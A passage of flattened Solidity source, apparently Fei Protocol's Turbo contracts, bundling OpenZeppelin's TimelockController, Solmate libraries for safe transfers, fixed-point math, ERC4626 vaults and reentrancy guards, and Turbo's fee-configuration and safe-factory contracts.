RoleRevoked(role, account, _msgSender()); } } } /** * @dev Contract module which acts as a timelocked controller. When set as the * owner of an `Ownable` smart contract, it enforces a timelock on all * `onlyOwner` maintenance operations. This gives time for users of the * controlled contract to exit before a potentially dangerous maintenance * operation is applied. * * By default, this contract is self administered, meaning administration tasks * have to go through the timelock process. The proposer (resp executor) role * is in charge of proposing (resp executing) operations. A common use case is * to position this {TimelockController} as the owner of a smart contract, with * a multisig or a DAO as the sole proposer. * * _Available since v3.3._ */ contract TimelockController is AccessControl { bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE"); bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE"); bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE"); bytes32 public constant CANCELLER_ROLE = keccak256("CANCELLER_ROLE"); uint256 internal constant _DONE_TIMESTAMP = uint256(1); mapping(bytes32 => uint256) private _timestamps; uint256 private _minDelay; /** * @dev Emitted when a call is scheduled as part of operation `id`. */ event CallScheduled( bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data, bytes32 predecessor, uint256 delay ); /** * @dev Emitted when a call is performed as part of operation `id`. */ event CallExecuted(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data); /** * @dev Emitted when operation `id` is cancelled. */ event Cancelled(bytes32 indexed id); /** * @dev Emitted when the minimum delay for future operations is modified. */ event MinDelayChange(uint256 oldDuration, uint256 newDuration); /** * @dev Initializes the contract with a given `minDelay`, and a list of * initial proposers and executors. The proposers receive both the * proposer and the canceller role (for backward compatibility). The * executors receive the executor role. * * NOTE: At construction, both the deployer and the timelock itself are * administrators. This helps further configuration of the timelock by the * deployer. After configuration is done, it is recommended that the * deployer renounces its admin position and relies on timelocked * operations to perform future maintenance. */ constructor( uint256 minDelay, address[] memory proposers, address[] memory executors ) { _setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE); _setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE); _setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE); _setRoleAdmin(CANCELLER_ROLE, TIMELOCK_ADMIN_ROLE); // deployer + self administration _setupRole(TIMELOCK_ADMIN_ROLE, _msgSender()); _setupRole(TIMELOCK_ADMIN_ROLE, address(this)); // register proposers and cancellers for (uint256 i = 0; i < proposers.length; ++i) { _setupRole(PROPOSER_ROLE, proposers[i]); _setupRole(CANCELLER_ROLE, proposers[i]); } // register executors for (uint256 i = 0; i < executors.length; ++i) { _setupRole(EXECUTOR_ROLE, executors[i]); } _minDelay = minDelay; emit MinDelayChange(0, minDelay); } /** * @dev Modifier to make a function callable only by a certain role. In * addition to checking the sender's role, `address(0)` 's role is also * considered. Granting a role to `address(0)` is equivalent to enabling * this role for everyone. */ modifier onlyRoleOrOpenRole(bytes32 role) { if (!hasRole(role, address(0))) { _checkRole(role, _msgSender()); } _; } /** * @dev Contract might receive/hold ETH as part of the maintenance process. */ receive() external payable {} /** * @dev Returns whether an id correspond to a registered operation. This * includes both Pending, Ready and Done operations. */ function isOperation(bytes32 id) public view virtual returns (bool pending) { return getTimestamp(id) > 0; } /** * @dev Returns whether an operation is pending or not. */ function isOperationPending(bytes32 id) public view virtual returns (bool pending) { return getTimestamp(id) > _DONE_TIMESTAMP; } /** * @dev Returns whether an operation is ready or not. */ function isOperationReady(bytes32 id) public view virtual returns (bool ready) { uint256 timestamp = getTimestamp(id); return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp; } /** * @dev Returns whether an operation is done or not. */ function isOperationDone(bytes32 id) public view virtual returns (bool done) { return getTimestamp(id) == _DONE_TIMESTAMP; } /** * @dev Returns the timestamp at with an operation becomes ready (0 for * unset operations, 1 for done operations). */ function getTimestamp(bytes32 id) public view virtual returns (uint256 timestamp) { return _timestamps[id]; } /** * @dev Returns the minimum delay for an operation to become valid. * * This value can be changed by executing an operation that calls `updateDelay`. */ function getMinDelay() public view virtual returns (uint256 duration) { return _minDelay; } /** * @dev Returns the identifier of an operation containing a single * transaction. */ function hashOperation( address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt ) public pure virtual returns (bytes32 hash) { return keccak256(abi.encode(target, value, data, predecessor, salt)); } /** * @dev Returns the identifier of an operation containing a batch of * transactions. */ function hashOperationBatch( address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt ) public pure virtual returns (bytes32 hash) { return keccak256(abi.encode(targets, values, datas, predecessor, salt)); } /** * @dev Schedule an operation containing a single transaction. * * Emits a {CallScheduled} event. * * Requirements: * * - the caller must have the 'proposer' role. */ function schedule( address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt, uint256 delay ) public virtual onlyRole(PROPOSER_ROLE) { bytes32 id = hashOperation(target, value, data, predecessor, salt); _schedule(id, delay); emit CallScheduled(id, 0, target, value, data, predecessor, delay); } /** * @dev Schedule an operation containing a batch of transactions. * * Emits one {CallScheduled} event per transaction in the batch. * * Requirements: * * - the caller must have the 'proposer' role. */ function scheduleBatch( address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt, uint256 delay ) public virtual onlyRole(PROPOSER_ROLE) { require(targets.length == values.length, "TimelockController: length mismatch"); require(targets.length == datas.length, "TimelockController: length mismatch"); bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt); _schedule(id, delay); for (uint256 i = 0; i < targets.length; ++i) { emit CallScheduled(id, i, targets[i], values[i], datas[i], predecessor, delay); } } /** * @dev Schedule an operation that is to becomes valid after a given delay. */ function _schedule(bytes32 id, uint256 delay) private { require(!isOperation(id), "TimelockController: operation already scheduled"); require(delay >= getMinDelay(), "TimelockController: insufficient delay"); _timestamps[id] = block.timestamp + delay; } /** * @dev Cancel an operation. * * Requirements: * * - the caller must have the 'canceller' role. */ function cancel(bytes32 id) public virtual onlyRole(CANCELLER_ROLE) { require(isOperationPending(id), "TimelockController: operation cannot be cancelled"); delete _timestamps[id]; emit Cancelled(id); } /** * @dev Execute an (ready) operation containing a single transaction. * * Emits a {CallExecuted} event. * * Requirements: * * - the caller must have the 'executor' role. */ // This function can reenter, but it doesn't pose a risk because _afterCall checks that the proposal is pending, // thus any modifications to the operation during reentrancy should be caught. // slither-disable-next-line reentrancy-eth function execute( address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt ) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) { bytes32 id = hashOperation(target, value, data, predecessor, salt); _beforeCall(id, predecessor); _call(id, 0, target, value, data); _afterCall(id); } /** * @dev Execute an (ready) operation containing a batch of transactions. * * Emits one {CallExecuted} event per transaction in the batch. * * Requirements: * * - the caller must have the 'executor' role. */ function executeBatch( address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt ) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) { require(targets.length == values.length, "TimelockController: length mismatch"); require(targets.length == datas.length, "TimelockController: length mismatch"); bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt); _beforeCall(id, predecessor); for (uint256 i = 0; i < targets.length; ++i) { _call(id, i, targets[i], values[i], datas[i]); } _afterCall(id); } /** * @dev Checks before execution of an operation's calls. */ function _beforeCall(bytes32 id, bytes32 predecessor) private view { require(isOperationReady(id), "TimelockController: operation is not ready"); require(predecessor == bytes32(0) || isOperationDone(predecessor), "TimelockController: missing dependency"); } /** * @dev Checks after execution of an operation's calls. */ function _afterCall(bytes32 id) private { require(isOperationReady(id), "TimelockController: operation is not ready"); _timestamps[id] = _DONE_TIMESTAMP; } /** * @dev Execute an operation's call. * * Emits a {CallExecuted} event. */ function _call( bytes32 id, uint256 index, address target, uint256 value, bytes calldata data ) private { (bool success, ) = target.call{value: value}(data); require(success, "TimelockController: underlying transaction reverted"); emit CallExecuted(id, index, target, value, data); } /** * @dev Changes the minimum timelock duration for future operations. * * Emits a {MinDelayChange} event. * * Requirements: * * - the caller must be the timelock itself. This can only be achieved by scheduling and later executing * an operation where the timelock is the target and the data is the ABI-encoded call to this function. */ function updateDelay(uint256 newDelay) external virtual { require(msg.sender == address(this), "TimelockController: caller must be timelock"); emit MinDelayChange(_minDelay, newDelay); _minDelay = newDelay; } } /// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol) /// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer. /// @dev Note that none of the functions in this library check that a token has code at all! That responsibility is delegated to the caller. library SafeTransferLib { event Debug(bool one, bool two, uint256 retsize); /*/////////////////////////////////////////////////////////////// ETH OPERATIONS //////////////////////////////////////////////////////////////*/ function safeTransferETH(address to, uint256 amount) internal { bool success; assembly { // Transfer the ETH and store if it succeeded or not. success := call(gas(), to, amount, 0, 0, 0, 0) } require(success, "ETH_TRANSFER_FAILED"); } /*/////////////////////////////////////////////////////////////// ERC20 OPERATIONS //////////////////////////////////////////////////////////////*/ function safeTransferFrom( ERC20 token, address from, address to, uint256 amount ) internal { bool success; assembly { // Get a pointer to some free memory. let freeMemoryPointer := mload(0x40) // Write the abi-encoded calldata into memory, beginning with the function selector. mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) mstore(add(freeMemoryPointer, 4), from) // Append the "from" argument. mstore(add(freeMemoryPointer, 36), to) // Append the "to" argument. mstore(add(freeMemoryPointer, 68), amount) // Append the "amount" argument. success := and( // Set success to whether the call reverted, if not we check it either // returned exactly 1 (not just any non-zero data), or had no return data. or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())), // We use 100 because the length of our calldata totals up like so: 4 + 32 * 3. // We use 0 and 32 to copy up to 32 bytes of return data into the scratch space. // Counterintuitively, this call must be positioned second to the addition in the // order of operations or else returndatasize() will be zero during the computation. call(gas(), token, 0, freeMemoryPointer, 100, 0, 32) ) } require(success, "TRANSFER_FROM_FAILED"); } function safeTransfer( ERC20 token, address to, uint256 amount ) internal { bool success; assembly { // Get a pointer to some free memory. let freeMemoryPointer := mload(0x40) // Write the abi-encoded calldata into memory, beginning with the function selector. mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) mstore(add(freeMemoryPointer, 4), to) // Append the "to" argument. mstore(add(freeMemoryPointer, 36), amount) // Append the "amount" argument. success := and( // Set success to whether the call reverted, if not we check it either // returned exactly 1 (not just any non-zero data), or had no return data. or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())), // We use 68 because the length of our calldata totals up like so: 4 + 32 * 2. // We use 0 and 32 to copy up to 32 bytes of return data into the scratch space. // Counterintuitively, this call must be positioned second to the addition in the // order of operations or else returndatasize() will be zero during the computation. call(gas(), token, 0, freeMemoryPointer, 68, 0, 32) ) } require(success, "TRANSFER_FAILED"); } function safeApprove( ERC20 token, address to, uint256 amount ) internal { bool success; assembly { // Get a pointer to some free memory. let freeMemoryPointer := mload(0x40) // Write the abi-encoded calldata into memory, beginning with the function selector. mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000) mstore(add(freeMemoryPointer, 4), to) // Append the "to" argument. mstore(add(freeMemoryPointer, 36), amount) // Append the "amount" argument. success := and( // Set success to whether the call reverted, if not we check it either // returned exactly 1 (not just any non-zero data), or had no return data. or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())), // We use 68 because the length of our calldata totals up like so: 4 + 32 * 2. // We use 0 and 32 to copy up to 32 bytes of return data into the scratch space. // Counterintuitively, this call must be positioned second to the addition in the // order of operations or else returndatasize() will be zero during the computation. call(gas(), token, 0, freeMemoryPointer, 68, 0, 32) ) } require(success, "APPROVE_FAILED"); } } /// @notice Arithmetic library with operations for fixed-point numbers. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/FixedPointMathLib.sol) /// @author Inspired by USM (https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol) library FixedPointMathLib { /*/////////////////////////////////////////////////////////////// SIMPLIFIED FIXED POINT OPERATIONS //////////////////////////////////////////////////////////////*/ uint256 internal constant WAD = 1e18; // The scalar of ETH and most ERC20s. function mulWadDown(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivDown(x, y, WAD); // Equivalent to (x * y) / WAD rounded down. } function mulWadUp(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivUp(x, y, WAD); // Equivalent to (x * y) / WAD rounded up. } function divWadDown(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivDown(x, WAD, y); // Equivalent to (x * WAD) / y rounded down. } function divWadUp(uint256 x, uint256 y) internal pure returns (uint256) { return mulDivUp(x, WAD, y); // Equivalent to (x * WAD) / y rounded up. } /*/////////////////////////////////////////////////////////////// LOW LEVEL FIXED POINT OPERATIONS //////////////////////////////////////////////////////////////*/ function mulDivDown( uint256 x, uint256 y, uint256 denominator ) internal pure returns (uint256 z) { assembly { // Store x * y in z for now. z := mul(x, y) // Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y)) if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) { revert(0, 0) } // Divide z by the denominator. z := div(z, denominator) } } function mulDivUp( uint256 x, uint256 y, uint256 denominator ) internal pure returns (uint256 z) { assembly { // Store x * y in z for now. z := mul(x, y) // Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y)) if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) { revert(0, 0) } // First, divide z - 1 by the denominator and add 1. // We allow z - 1 to underflow if z is 0, because we multiply the // end result by 0 if z is zero, ensuring we return 0 if z is zero. z := mul(iszero(iszero(z)), add(div(sub(z, 1), denominator), 1)) } } function rpow( uint256 x, uint256 n, uint256 scalar ) internal pure returns (uint256 z) { assembly { switch x case 0 { switch n case 0 { // 0 ** 0 = 1 z := scalar } default { // 0 ** n = 0 z := 0 } } default { switch mod(n, 2) case 0 { // If n is even, store scalar in z for now. z := scalar } default { // If n is odd, store x in z for now. z := x } // Shifting right by 1 is like dividing by 2. let half := shr(1, scalar) for { // Shift n right by 1 before looping to halve it. n := shr(1, n) } n { // Shift n right by 1 each iteration to halve it. n := shr(1, n) } { // Revert immediately if x ** 2 would overflow. // Equivalent to iszero(eq(div(xx, x), x)) here. if shr(128, x) { revert(0, 0) } // Store x squared. let xx := mul(x, x) // Round to the nearest number. let xxRound := add(xx, half) // Revert if xx + half overflowed. if lt(xxRound, xx) { revert(0, 0) } // Set x to scaled xxRound. x := div(xxRound, scalar) // If n is even: if mod(n, 2) { // Compute z * x. let zx := mul(z, x) // If z * x overflowed: if iszero(eq(div(zx, x), z)) { // Revert if x is non-zero. if iszero(iszero(x)) { revert(0, 0) } } // Round to the nearest number. let zxRound := add(zx, half) // Revert if zx + half overflowed. if lt(zxRound, zx) { revert(0, 0) } // Return properly scaled zxRound. z := div(zxRound, scalar) } } } } } /*/////////////////////////////////////////////////////////////// GENERAL NUMBER UTILITIES //////////////////////////////////////////////////////////////*/ function sqrt(uint256 x) internal pure returns (uint256 z) { assembly { // Start off with z at 1. z := 1 // Used below to help find a nearby power of 2. let y := x // Find the lowest power of 2 that is at least sqrt(x). if iszero(lt(y, 0x100000000000000000000000000000000)) { y := shr(128, y) // Like dividing by 2 ** 128. z := shl(64, z) // Like multiplying by 2 ** 64. } if iszero(lt(y, 0x10000000000000000)) { y := shr(64, y) // Like dividing by 2 ** 64. z := shl(32, z) // Like multiplying by 2 ** 32. } if iszero(lt(y, 0x100000000)) { y := shr(32, y) // Like dividing by 2 ** 32. z := shl(16, z) // Like multiplying by 2 ** 16. } if iszero(lt(y, 0x10000)) { y := shr(16, y) // Like dividing by 2 ** 16. z := shl(8, z) // Like multiplying by 2 ** 8. } if iszero(lt(y, 0x100)) { y := shr(8, y) // Like dividing by 2 ** 8. z := shl(4, z) // Like multiplying by 2 ** 4. } if iszero(lt(y, 0x10)) { y := shr(4, y) // Like dividing by 2 ** 4. z := shl(2, z) // Like multiplying by 2 ** 2. } if iszero(lt(y, 0x8)) { // Equivalent to 2 ** z. z := shl(1, z) } // Shifting right by 1 is like dividing by 2. z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) z := shr(1, add(z, div(x, z))) // Compute a rounded down version of z. let zRoundDown := div(x, z) // If zRoundDown is smaller, use it. if lt(zRoundDown, z) { z := zRoundDown } } } } /// @notice Minimal ERC4626 tokenized Vault implementation. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/mixins/ERC4626.sol) /// @dev Do not use in production! ERC-4626 is still in the last call stage and is subject to change. abstract contract ERC4626 is ERC20 { using SafeTransferLib for ERC20; using FixedPointMathLib for uint256; /*/////////////////////////////////////////////////////////////// EVENTS //////////////////////////////////////////////////////////////*/ event Deposit(address indexed caller, address indexed owner, uint256 assets, uint256 shares); event Withdraw( address indexed caller, address indexed receiver, address indexed owner, uint256 assets, uint256 shares ); /*/////////////////////////////////////////////////////////////// IMMUTABLES //////////////////////////////////////////////////////////////*/ ERC20 public immutable asset; constructor( ERC20 _asset, string memory _name, string memory _symbol ) ERC20(_name, _symbol, _asset.decimals()) { asset = _asset; } /*/////////////////////////////////////////////////////////////// DEPOSIT/WITHDRAWAL LOGIC //////////////////////////////////////////////////////////////*/ function deposit(uint256 assets, address receiver) public virtual returns (uint256 shares) { // Check for rounding error since we round down in previewDeposit. require((shares = previewDeposit(assets)) != 0, "ZERO_SHARES"); // Need to transfer before minting or ERC777s could reenter. asset.safeTransferFrom(msg.sender, address(this), assets); _mint(receiver, shares); emit Deposit(msg.sender, receiver, assets, shares); afterDeposit(assets, shares); } function mint(uint256 shares, address receiver) public virtual returns (uint256 assets) { assets = previewMint(shares); // No need to check for rounding error, previewMint rounds up. // Need to transfer before minting or ERC777s could reenter. asset.safeTransferFrom(msg.sender, address(this), assets); _mint(receiver, shares); emit Deposit(msg.sender, receiver, assets, shares); afterDeposit(assets, shares); } function withdraw( uint256 assets, address receiver, address owner ) public virtual returns (uint256 shares) { shares = previewWithdraw(assets); // No need to check for rounding error, previewWithdraw rounds up. if (msg.sender != owner) { uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[owner][msg.sender] = allowed - shares; } beforeWithdraw(assets, shares); _burn(owner, shares); emit Withdraw(msg.sender, receiver, owner, assets, shares); asset.safeTransfer(receiver, assets); } function redeem( uint256 shares, address receiver, address owner ) public virtual returns (uint256 assets) { if (msg.sender != owner) { uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[owner][msg.sender] = allowed - shares; } // Check for rounding error since we round down in previewRedeem. require((assets = previewRedeem(shares)) != 0, "ZERO_ASSETS"); beforeWithdraw(assets, shares); _burn(owner, shares); emit Withdraw(msg.sender, receiver, owner, assets, shares); asset.safeTransfer(receiver, assets); } /*/////////////////////////////////////////////////////////////// ACCOUNTING LOGIC //////////////////////////////////////////////////////////////*/ function totalAssets() public view virtual returns (uint256); function convertToShares(uint256 assets) public view returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets()); } function convertToAssets(uint256 shares) public view returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? shares : shares.mulDivDown(totalAssets(), supply); } function previewDeposit(uint256 assets) public view virtual returns (uint256) { return convertToShares(assets); } function previewMint(uint256 shares) public view virtual returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? shares : shares.mulDivUp(totalAssets(), supply); } function previewWithdraw(uint256 assets) public view virtual returns (uint256) { uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero. return supply == 0 ? assets : assets.mulDivUp(supply, totalAssets()); } function previewRedeem(uint256 shares) public view virtual returns (uint256) { return convertToAssets(shares); } /*/////////////////////////////////////////////////////////////// DEPOSIT/WITHDRAWAL LIMIT LOGIC //////////////////////////////////////////////////////////////*/ function maxDeposit(address) public view virtual returns (uint256) { return type(uint256).max; } function maxMint(address) public view virtual returns (uint256) { return type(uint256).max; } function maxWithdraw(address owner) public view virtual returns (uint256) { return convertToAssets(balanceOf[owner]); } function maxRedeem(address owner) public view virtual returns (uint256) { return balanceOf[owner]; } /*/////////////////////////////////////////////////////////////// INTERNAL HOOKS LOGIC //////////////////////////////////////////////////////////////*/ function beforeWithdraw(uint256 assets, uint256 shares) internal virtual {} function afterDeposit(uint256 assets, uint256 shares) internal virtual {} } /// @notice Gas optimized reentrancy protection for smart contracts. /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/ReentrancyGuard.sol) /// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol) abstract contract ReentrancyGuard { uint256 private locked = 1; modifier nonReentrant() { require(locked == 1, "REENTRANCY"); locked = 2; _; locked = 1; } } /// @title Fuse Admin /// @author Fei Protocol /// @notice Minimal Fuse Admin interface. interface FuseAdmin { /// @notice Whitelists or blacklists a user from accessing the cTokens in the pool. /// @param users The users to whitelist or blacklist. /// @param enabled Whether to whitelist or blacklist each user. function _setWhitelistStatuses(address[] calldata users, bool[] calldata enabled) external; function _deployMarket( address underlying, address irm, string calldata name, string calldata symbol, address impl, bytes calldata data, uint256 reserveFactor, uint256 adminFee, uint256 collateralFactorMantissa ) external; } interface IReverseRegistrar { /** @notice sets reverse ENS Record @param name the ENS record to set After calling this, a user has a fully configured reverse record claiming the provided name as that account's canonical name. */ function setName(string memory name) external returns (bytes32); } /** @title helper contract to set reverse ens record with solmate Auth @author joeysantoro @notice sets reverse ENS record against canonical ReverseRegistrar https://docs.ens.domains/contract-api-reference/reverseregistrar. */ abstract contract ENSReverseRecordAuth is Auth { /// @notice the ENS Reverse Registrar IReverseRegistrar public constant REVERSE_REGISTRAR = IReverseRegistrar(0x084b1c3C81545d370f3634392De611CaaBFf8148); function setENSName(string memory name) external requiresAuth { REVERSE_REGISTRAR.setName(name); } } /// @title Turbo Clerk /// @author Transmissions11 /// @notice Fee determination module for Turbo Safes. contract TurboClerk is Auth, ENSReverseRecordAuth { /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ /// @notice Creates a new Turbo Clerk contract. /// @param _owner The owner of the Clerk. /// @param _authority The Authority of the Clerk. constructor(address _owner, Authority _authority) Auth(_owner, _authority) {} /*/////////////////////////////////////////////////////////////// DEFAULT FEE CONFIGURATION //////////////////////////////////////////////////////////////*/ /// @notice The default fee on Safe interest taken by the protocol. /// @dev A fixed point number where 1e18 represents 100% and 0 represents 0%. uint256 public defaultFeePercentage; /// @notice Emitted when the default fee percentage is updated. /// @param newDefaultFeePercentage The new default fee percentage. event DefaultFeePercentageUpdated(address indexed user, uint256 newDefaultFeePercentage); /// @notice Sets the default fee percentage. /// @param newDefaultFeePercentage The new default fee percentage. function setDefaultFeePercentage(uint256 newDefaultFeePercentage) external requiresAuth { // A fee percentage over 100% makes no sense. require(newDefaultFeePercentage <= 1e18, "FEE_TOO_HIGH"); // Update the default fee percentage. defaultFeePercentage = newDefaultFeePercentage; emit DefaultFeePercentageUpdated(msg.sender, newDefaultFeePercentage); } /*/////////////////////////////////////////////////////////////// CUSTOM FEE CONFIGURATION //////////////////////////////////////////////////////////////*/ /// @notice Maps collaterals to their custom fees on interest taken by the protocol. /// @dev A fixed point number where 1e18 represents 100% and 0 represents 0%. mapping(ERC20 => uint256) public getCustomFeePercentageForCollateral; /// @notice Maps Safes to their custom fees on interest taken by the protocol. /// @dev A fixed point number where 1e18 represents 100% and 0 represents 0%. mapping(TurboSafe => uint256) public getCustomFeePercentageForSafe; /// @notice Emitted when a collateral's custom fee percentage is updated. /// @param collateral The collateral who's custom fee percentage was updated. /// @param newFeePercentage The new custom fee percentage. event CustomFeePercentageUpdatedForCollateral( address indexed user, ERC20 indexed collateral, uint256 newFeePercentage ); /// @notice Sets a collateral's custom fee percentage. /// @param collateral The collateral to set the custom fee percentage for. /// @param newFeePercentage The new custom fee percentage for the collateral. function setCustomFeePercentageForCollateral(ERC20 collateral, uint256 newFeePercentage) external requiresAuth { // A fee percentage over 100% makes no sense. require(newFeePercentage <= 1e18, "FEE_TOO_HIGH"); // Update the custom fee percentage for the Safe. getCustomFeePercentageForCollateral[collateral] = newFeePercentage; emit CustomFeePercentageUpdatedForCollateral(msg.sender, collateral, newFeePercentage); } /// @notice Emitted when a Safe's custom fee percentage is updated. /// @param safe The Safe who's custom fee percentage was updated. /// @param newFeePercentage The new custom fee percentage. event CustomFeePercentageUpdatedForSafe(address indexed user, TurboSafe indexed safe, uint256 newFeePercentage); /// @notice Sets a Safe's custom fee percentage. /// @param safe The Safe to set the custom fee percentage for. /// @param newFeePercentage The new custom fee percentage for the Safe. function setCustomFeePercentageForSafe(TurboSafe safe, uint256 newFeePercentage) external requiresAuth { // A fee percentage over 100% makes no sense. require(newFeePercentage <= 1e18, "FEE_TOO_HIGH"); // Update the custom fee percentage for the Safe. getCustomFeePercentageForSafe[safe] = newFeePercentage; emit CustomFeePercentageUpdatedForSafe(msg.sender, safe, newFeePercentage); } /*/////////////////////////////////////////////////////////////// ACCOUNTING LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Returns the fee on interest taken by the protocol for a Safe. /// @param safe The Safe to get the fee percentage for. /// @param collateral The collateral/asset of the Safe. /// @return The fee percentage for the Safe. function getFeePercentageForSafe(TurboSafe safe, ERC20 collateral) external view returns (uint256) { // Get the custom fee percentage for the Safe. uint256 customFeePercentageForSafe = getCustomFeePercentageForSafe[safe]; // If a custom fee percentage is set for the Safe, return it. if (customFeePercentageForSafe != 0) return customFeePercentageForSafe; // Get the custom fee percentage for the collateral type. uint256 customFeePercentageForCollateral = getCustomFeePercentageForCollateral[collateral]; // If a custom fee percentage is set for the collateral, return it. if (customFeePercentageForCollateral != 0) return customFeePercentageForCollateral; // Otherwise, return the default fee percentage. return defaultFeePercentage; } } /// @title Turbo Master /// @author Transmissions11 /// @notice Factory for creating and managing Turbo Safes. /// @dev Must be authorized to call the Turbo Fuse Pool's FuseAdmin. contract TurboMaster is Auth, ENSReverseRecordAuth { using SafeTransferLib for ERC20; /*/////////////////////////////////////////////////////////////// IMMUTABLES //////////////////////////////////////////////////////////////*/ /// @notice The Turbo Fuse Pool the Safes will interact with. Comptroller public immutable pool; /// @notice The Fei token on the network. ERC20 public immutable fei; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ /// @notice Creates a new Turbo Master contract. /// @param _pool The Turbo Fuse Pool the Master will use. /// @param _fei The Fei token on the network. /// @param _owner The owner of the Master. /// @param _authority The Authority of the Master. constructor( Comptroller _pool, ERC20 _fei, address _owner, Authority _authority ) Auth(_owner, _authority) { pool = _pool; fei = _fei; // Prevent the first safe from getting id 0. safes.push(TurboSafe(address(0))); } /*/////////////////////////////////////////////////////////////// BOOSTER STORAGE //////////////////////////////////////////////////////////////*/ /// @notice The Booster module used by the Master and its Safes. TurboBooster public booster; /// @notice Emitted when the Booster is updated. /// @param user The user who triggered the update of the Booster. /// @param newBooster The new Booster contract used by the Master. event BoosterUpdated(address indexed user, TurboBooster newBooster); /// @notice Update the Booster used by the Master. /// @param newBooster The new Booster contract to be used by the Master. function setBooster(TurboBooster newBooster) external requiresAuth { booster = newBooster; emit BoosterUpdated(msg.sender, newBooster); } /*/////////////////////////////////////////////////////////////// CLERK STORAGE //////////////////////////////////////////////////////////////*/ /// @notice The Clerk module used by the Master and its Safes. TurboClerk public clerk; /// @notice Emitted when the Clerk is updated. /// @param user The user who triggered the update of the Clerk. /// @param newClerk The new Clerk contract used by the Master. event ClerkUpdated(address indexed user, TurboClerk newClerk); /// @notice Update the Clerk used by the Master. /// @param newClerk The new Clerk contract to be used by the Master. function setClerk(TurboClerk newClerk) external requiresAuth { clerk = newClerk; emit ClerkUpdated(msg.sender, newClerk); } /*/////////////////////////////////////////////////////////////// DEFAULT SAFE AUTHORITY CONFIGURATION //////////////////////////////////////////////////////////////*/ /// @notice The default authority to be used by created Safes. Authority public defaultSafeAuthority; /// @notice Emitted when the default safe authority is updated. /// @param user The user who triggered the update of the default safe authority. /// @param newDefaultSafeAuthority The new default authority to be used by created Safes. event DefaultSafeAuthorityUpdated(address indexed user, Authority newDefaultSafeAuthority); /// @notice Set the default authority to be used by created Safes. /// @param newDefaultSafeAuthority The new default safe authority. function setDefaultSafeAuthority(Authority newDefaultSafeAuthority) external requiresAuth { // Update the default safe authority. defaultSafeAuthority = newDefaultSafeAuthority; emit DefaultSafeAuthorityUpdated(msg.sender, newDefaultSafeAuthority); } /*/////////////////////////////////////////////////////////////// SAFE STORAGE //////////////////////////////////////////////////////////////*/ /// @notice The total Fei currently boosting Vaults. uint256 public totalBoosted; /// @notice Maps Safe addresses to the id they are stored under in the Safes array. mapping(TurboSafe => uint256) public getSafeId; /// @notice Maps Vault addresses to the total amount of Fei they've being boosted with. mapping(ERC4626 => uint256) public getTotalBoostedForVault; /// @notice Maps collateral types to the total amount of Fei boosted by Safes using it as collateral. mapping(ERC20 => uint256) public getTotalBoostedAgainstCollateral; /// @notice An array of all Safes created by the Master. /// @dev The first Safe is purposely invalid to prevent any Safes from having an id of 0. TurboSafe[] public safes; /// @notice Returns all Safes created by the Master. /// @return An array of all Safes created by the Master. /// @dev This is provided because Solidity converts public 